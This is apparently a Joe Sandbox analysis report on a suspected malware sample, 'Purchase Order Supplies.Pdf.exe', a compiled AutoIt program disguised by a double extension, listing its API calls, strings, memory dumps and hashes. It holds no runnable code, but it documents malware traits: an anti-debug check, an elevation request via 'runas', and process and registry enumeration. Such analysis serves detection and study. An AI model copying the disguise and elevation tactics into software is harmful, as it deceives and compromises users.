IsDebuggerPresent.KERNEL32(?,?), ref: 00C9377F
GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe,00000104,?,00D51120,C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe,00D51124,?,?), ref: 00C937EE

Part of subcall function 00C934F3: GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00C9352A

SetCurrentDirectoryW.KERNEL32(?), ref: 00C93860
MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,00D42934,00000010), ref: 00D021C5
SetCurrentDirectoryW.KERNEL32(?,?), ref: 00D021FD
GetModuleFileNameW.KERNEL32(00000000,?,00000104,?), ref: 00D02232
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00D2DAA4), ref: 00D02290
ShellExecuteW.SHELL32(00000000), ref: 00D02297

Part of subcall function 00C930A5: GetSysColorBrush.USER32(0000000F), ref: 00C930B0
Part of subcall function 00C930A5: LoadCursorW.USER32(00000000,00007F00), ref: 00C930BF
Part of subcall function 00C930A5: LoadIconW.USER32(00000063), ref: 00C930D5
Part of subcall function 00C930A5: LoadIconW.USER32(000000A4), ref: 00C930E7
Part of subcall function 00C930A5: LoadIconW.USER32(000000A2), ref: 00C930F9
Part of subcall function 00C930A5: RegisterClassExW.USER32(?), ref: 00C93167

Part of subcall function 00C92E9D: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00C92ECB
Part of subcall function 00C92E9D: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00C92EEC
Part of subcall function 00C92E9D: ShowWindow.USER32(00000000), ref: 00C92F00
Part of subcall function 00C92E9D: ShowWindow.USER32(00000000), ref: 00C92F09

Part of subcall function 00C93598: _memset.LIBCMT ref: 00C935BE
Part of subcall function 00C93598: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00C93667

Strings

runas, xrefs: 00D0228B
C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe, xrefs: 00C937B4, 00C937E9, 00C937FD, 00D02257
This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support., xrefs: 00D021BE

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$IconLoadName$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundMessageNotifyPresentRegisterShellShell__memset
String ID: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas
API String ID: 4253510256-517146631
Opcode ID: 7333da013f0863c16ae40b28c087e23a26d27fda512056de7aa680fd4edef7b6
Instruction ID: b082c0ccad3764da5efc34dbd1f2a5e68294febb400a6a11d45c38db966b3c6d
Opcode Fuzzy Hash: 7333da013f0863c16ae40b28c087e23a26d27fda512056de7aa680fd4edef7b6
Instruction Fuzzy Hash: BD51F278644384BFCF10ABA09C4EFBD3B699B15715F000096FA51D22D1CB608A49DB36

Function 00CF30AD Relevance: 16.9, APIs: 11, Instructions: 397
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CF3AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00CF2AA6,?,?), ref: 00CF3B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00CF317F

Part of subcall function 00C984A6: __swprintf.LIBCMT ref: 00C984E5
Part of subcall function 00C984A6: __itow.LIBCMT ref: 00C98519

RegQueryValueExW.KERNEL32(?,?,00000000,?,00000000,?), ref: 00CF321E
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00CF32B6
RegCloseKey.KERNEL32(000000FE,000000FE,00000000,?,00000000), ref: 00CF34F5
RegCloseKey.ADVAPI32(00000000), ref: 00CF3502

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: afd945ac6fc6ec7cc033373fa7072eac623cb74ea3e42cc32b651cdfd7bb03c8
Instruction ID: 75206701b4ade375ddc2fd0462e9ec70f5fb732e3a0f3619e12e3c7e3bc5c569
Opcode Fuzzy Hash: afd945ac6fc6ec7cc033373fa7072eac623cb74ea3e42cc32b651cdfd7bb03c8
Instruction Fuzzy Hash: D1E19D31204205AFCB15DF29C894E6ABBF9EF89310F04856DF55ADB2A1DB30EE05DB52

Function 00C929C2 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
timewindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtdllDefWindowProc_W.NTDLL(?,?,?,?), ref: 00C92A33
KillTimer.USER32(?,00000001), ref: 00C92A5D
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00C92A80
RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 00C92A8B
CreatePopupMenu.USER32 ref: 00C92A9F
PostQuitMessage.USER32(00000000), ref: 00C92AAE

Strings

TaskbarCreated, xrefs: 00C92A86

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Timer$ClipboardCreateFormatKillMenuMessageNtdllPopupPostProc_QuitRegisterWindow
String ID: TaskbarCreated
API String ID: 157504867-2362178303
Opcode ID: fc777f723e47f8ce6c58ebbfbe9d72b24bc966b97177af57176c318b3cd00225
Instruction ID: 7fb49edef1761ccbed139cc9cb2d1824fbfb64bb1378e24fd04be5d7fe7d0655
Opcode Fuzzy Hash: fc777f723e47f8ce6c58ebbfbe9d72b24bc966b97177af57176c318b3cd00225
Instruction Fuzzy Hash: 9841113220038ABBDF34AF689C0DBBA365AE714341F044219FD86D62E1DF749D40A775

Function 00CAE47B Relevance: 10.7, APIs: 7, Instructions: 175COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00CAE4A7

Part of subcall function 00C97E53: _memmove.LIBCMT ref: 00C97EB9

GetCurrentProcess.KERNEL32(00000000,00D2DC28,?,?), ref: 00CAE567
GetNativeSystemInfo.KERNEL32(?,00D2DC28,?,?), ref: 00CAE5BC
FreeLibrary.KERNEL32(00000000,?,?), ref: 00CAE5C7
FreeLibrary.KERNEL32(00000000,?,?), ref: 00CAE5DA
GetSystemInfo.KERNEL32(?,00D2DC28,?,?), ref: 00CAE5E4
GetSystemInfo.KERNEL32(?,00D2DC28,?,?), ref: 00CAE5F0

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: InfoSystem$FreeLibrary$CurrentNativeProcessVersion_memmove
String ID:
API String ID: 2717633055-0
Opcode ID: fff44c07cc1d8ef1e01fde85bc5f742b4c84bab44ffd6b58284c1a45ffb52b81
Instruction ID: cb9d1738eab1036bcf710be9e6588e1174c4298ca18ecaede83b9679c9939e40
Opcode Fuzzy Hash: fff44c07cc1d8ef1e01fde85bc5f742b4c84bab44ffd6b58284c1a45ffb52b81
Instruction Fuzzy Hash: 4061E2B1C0A385DFCF15CF68A8C51E97FB56F2A308F2845D9D8489B247D624CA09CFA5

Function 00C931F2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00C93202
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000), ref: 00C93219
LoadResource.KERNEL32(?,00000000), ref: 00D057D7
SizeofResource.KERNEL32(?,00000000), ref: 00D057EC
LockResource.KERNEL32(?), ref: 00D057FF

Strings

SCRIPT, xrefs: 00C9320F

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: a8f1f2df11ad0e8a35f0339b0added8cb7d914f7424b6d41724659fff0423dcf
Instruction ID: 7c1676382473f867a000264f33521c44a5e097ed10668bb81c901fe5463ec1c7
Opcode Fuzzy Hash: a8f1f2df11ad0e8a35f0339b0added8cb7d914f7424b6d41724659fff0423dcf
Instruction Fuzzy Hash: BC117970200B41BFEB258B65EC48F677BBAEBC9B41F208028F422D6290DB71DD01CA71

Function 00CD6F5B Relevance: 9.1, APIs: 6, Instructions: 71processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00CD6F7D
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00CD6F8D
Process32NextW.KERNEL32(00000000,0000022C), ref: 00CD6FAC
__wsplitpath.LIBCMT ref: 00CD6FD0
_wcscat.LIBCMT ref: 00CD6FE3
CloseHandle.KERNEL32(00000000,?,00000000), ref: 00CD7022

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath_wcscat
String ID:
API String ID: 1605983538-0
Opcode ID: 2600fb59a060345d9d63aa782b10a2fd7de4a8431986894425e482210acbeb75
Instruction ID: b2d57095f6b99ce4befa8b69aa7cc6508ab8a755319c9b803bc72fb0aaddb2dc
Opcode Fuzzy Hash: 2600fb59a060345d9d63aa782b10a2fd7de4a8431986894425e482210acbeb75
Instruction Fuzzy Hash: CB216571904218BBDB11ABA4DC89BEEB7BDAB48300F5004A6F645D3241EB75AF85DB60

Function 00CA2B40 Relevance: 6.6, APIs: 2, Strings: 1, Instructions: 1382COMMON

Download Yara Rule

APIs

Part of subcall function 00CB010A: std::exception::exception.LIBCMT ref: 00CB013E
Part of subcall function 00CB010A: __CxxThrowException@8.LIBCMT ref: 00CB0153

_memmove.LIBCMT ref: 00CA2C63
_memmove.LIBCMT ref: 00CA303A

Strings

@, xrefs: 00CA34D4

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID: @
API String ID: 1300846289-2766056989
Opcode ID: 63715d3b6c46d7119a95e7f8ea49f64b91c5c861b7d8dc27e5ca18ff01f4c7d9
Instruction ID: b103ceee3cc05f8ba4b50c4933e4c5ae1e7f06ae4376b66063de34ef372d89db
Opcode Fuzzy Hash: 63715d3b6c46d7119a95e7f8ea49f64b91c5c861b7d8dc27e5ca18ff01f4c7d9
Instruction Fuzzy Hash: 4FC29C74A00256DFCF14DF98C890AADB7B1FF4A308F248059E856AB391D735EE45DBA0

Function 00CADD92 Relevance: 4.5, APIs: 3, Instructions: 26fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00C9C848,00C9C848), ref: 00CADDA2
FindFirstFileW.KERNEL32(00C9C848,?), ref: 00D04A83

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: File$AttributesFindFirst
String ID:
API String ID: 4185537391-0
Opcode ID: 6667d691d2b94a132d373df52565adfd576aaff934aa5ddf41c28b44d262546c
Instruction ID: 5870d0a2c2783d58dc2f5dd7692a768aae1aa7c4ab1e6f78ef3db967235645a7
Opcode Fuzzy Hash: 6667d691d2b94a132d373df52565adfd576aaff934aa5ddf41c28b44d262546c
Instruction Fuzzy Hash: A0E092718147117B821467389C0D8E9375D9B0633CB144709F936C11E0EB709D8585F6

Function 00C9DCD0 Relevance: 3.5, APIs: 2, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1883b258174de6bebcaa1e06bf65149895a10d5ffec137c2d9a7f42b24a86ac
Instruction ID: b8c42c78e2471564a241822681b87596ceb1fc13af67517b8bbe23421fb5db9f
Opcode Fuzzy Hash: c1883b258174de6bebcaa1e06bf65149895a10d5ffec137c2d9a7f42b24a86ac
Instruction Fuzzy Hash: D8228C75900206CFDF14DF58C489BAEB7F0FF19300F148169E89AAB391E770A985DBA1

Function 00CA3680 Relevance: 2.5, APIs: 1, Instructions: 986COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: BuffCharUpper
String ID:
API String ID: 3964851224-0
Opcode ID: d1af0f9e9f6ae2dbc7f38fc6ebb2dece9e2948053e82e51972ad1d4f33b08c8b
Instruction ID: eca113222ccff56aa74620bc96725cefe77bbe19a64b4e8a176179bdbd821183
Opcode Fuzzy Hash: d1af0f9e9f6ae2dbc7f38fc6ebb2dece9e2948053e82e51972ad1d4f33b08c8b
Instruction Fuzzy Hash: 6D9269706083428FD724DF18C494B6AB7E0BF89308F18895DF99A8B3A2D771ED45DB52

Function 00D0C146 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 00D0C158

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 0740c44e3ff24f7568a6c6a1a56000978ba42ab7c2dc5ab231df31b109fc8cc3
Instruction ID: b670b64a9a0cceae709cf4cb6954530b8b574293f8e396adadd7c85b8d46e0e4
Opcode Fuzzy Hash: 0740c44e3ff24f7568a6c6a1a56000978ba42ab7c2dc5ab231df31b109fc8cc3
Instruction Fuzzy Hash: ECC04CB140410DEFC715CB80C945EEFB7BCBB08300F104096A155E1140D770DB459F71

Function 00C9E1F0 Relevance: 49.8, APIs: 24, Strings: 4, Instructions: 815windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00C9E279
timeGetTime.WINMM ref: 00C9E51A
TranslateMessage.USER32(?), ref: 00C9E646
DispatchMessageW.USER32(?), ref: 00C9E651
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00C9E664
LockWindowUpdate.USER32(00000000), ref: 00C9E697
DestroyWindow.USER32 ref: 00C9E6A3
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00C9E6BD
Sleep.KERNEL32(0000000A), ref: 00D05B15
TranslateMessage.USER32(?), ref: 00D062AF
DispatchMessageW.USER32(?), ref: 00D062BD
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D062D1

Strings

@TRAY_ID, xrefs: 00D05D6E
@GUI_CTRLHANDLE, xrefs: 00D05C51
@GUI_WINHANDLE, xrefs: 00D05C05
@GUI_CTRLID, xrefs: 00D05BB9

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Message$DispatchPeekTranslateWindow$DestroyLockSleepTimeUpdatetime
String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
API String ID: 2641332412-570651680
Opcode ID: 34bba151442c34c14e9389b0cc89b98696d3a5cf8bbbc8a07740f4dfdf5a9a6f
Instruction ID: 258adb350ee399d42b93b42ccfc12ff6837c11958a8f194a42d5316497ccd8fb
Opcode Fuzzy Hash: 34bba151442c34c14e9389b0cc89b98696d3a5cf8bbbc8a07740f4dfdf5a9a6f
Instruction Fuzzy Hash: 13620470504341DFDB24DF64C889BAA77E4BF55304F08496DF98A8B2D2DB70E988DB62

Function 00CC6A28 Relevance: 47.9, APIs: 26, Strings: 1, Instructions: 626fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

___createFile.LIBCMT ref: 00CC6C73
___createFile.LIBCMT ref: 00CC6CB4
GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00CC6CDD
__dosmaperr.LIBCMT ref: 00CC6CE4
GetFileType.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00CC6CF7
GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00CC6D1A
__dosmaperr.LIBCMT ref: 00CC6D23
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00CC6D2C
__set_osfhnd.LIBCMT ref: 00CC6D5C
__lseeki64_nolock.LIBCMT ref: 00CC6DC6
__close_nolock.LIBCMT ref: 00CC6DEC
__chsize_nolock.LIBCMT ref: 00CC6E1C
__lseeki64_nolock.LIBCMT ref: 00CC6E2E
__lseeki64_nolock.LIBCMT ref: 00CC6F26
__lseeki64_nolock.LIBCMT ref: 00CC6F3B
__close_nolock.LIBCMT ref: 00CC6F9B

Part of subcall function 00CBF84C: CloseHandle.KERNEL32(00000000,00D3EEC4,00000000,?,00CC6DF1,00D3EEC4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00CBF89C
Part of subcall function 00CBF84C: GetLastError.KERNEL32(?,00CC6DF1,00D3EEC4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00CBF8A6
Part of subcall function 00CBF84C: __free_osfhnd.LIBCMT ref: 00CBF8B3
Part of subcall function 00CBF84C: __dosmaperr.LIBCMT ref: 00CBF8D5

Part of subcall function 00CB889E: __getptd_noexit.LIBCMT ref: 00CB889E

__lseeki64_nolock.LIBCMT ref: 00CC6FBD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00CC70F2
___createFile.LIBCMT ref: 00CC7111
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00CC711E
__dosmaperr.LIBCMT ref: 00CC7125
__free_osfhnd.LIBCMT ref: 00CC7145
__invoke_watson.LIBCMT ref: 00CC7173
__wsopen_helper.LIBCMT ref: 00CC718D

Strings

@, xrefs: 00CC6D48

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: __lseeki64_nolock$ErrorFileLast__dosmaperr$CloseHandle___create$__close_nolock__free_osfhnd$Type__chsize_nolock__getptd_noexit__invoke_watson__set_osfhnd__wsopen_helper
String ID: @
API String ID: 3896587723-2766056989
Opcode ID: 6bdf879f995bdb2896461f5c780c07596e0d54fc1e60224dbe025ab638e1a287
Instruction ID: 2548808112ab60778633e6fa1a202edd7e05e9605eb607cc0d19ccca1b86d1da
Opcode Fuzzy Hash: 6bdf879f995bdb2896461f5c780c07596e0d54fc1e60224dbe025ab638e1a287
Instruction Fuzzy Hash: 8D2213719042069BEB259F68DD51FEE7B61EB01320F28426DE931EB2E2C735CE40EB51

Function 00CD76DB Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 178
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.KERNELBASE(?,?), ref: 00CD76ED
GetFileVersionInfoW.KERNELBASE(?,00000000,00000000,00000000,?,?), ref: 00CD7713
_wcscpy.LIBCMT ref: 00CD7741
_wcscmp.LIBCMT ref: 00CD774C
_wcscat.LIBCMT ref: 00CD7762
_wcsstr.LIBCMT ref: 00CD776D
74AB1560.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00CD7789
_wcscat.LIBCMT ref: 00CD77D2
_wcscat.LIBCMT ref: 00CD77D9
_wcsncpy.LIBCMT ref: 00CD7804

Strings

StringFileInfo\, xrefs: 00CD775C
\VarFileInfo\Translation, xrefs: 00CD7781
DefaultLangCodepage, xrefs: 00CD77EC
%u.%u.%u.%u, xrefs: 00CD7867
04090000, xrefs: 00CD77BF

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

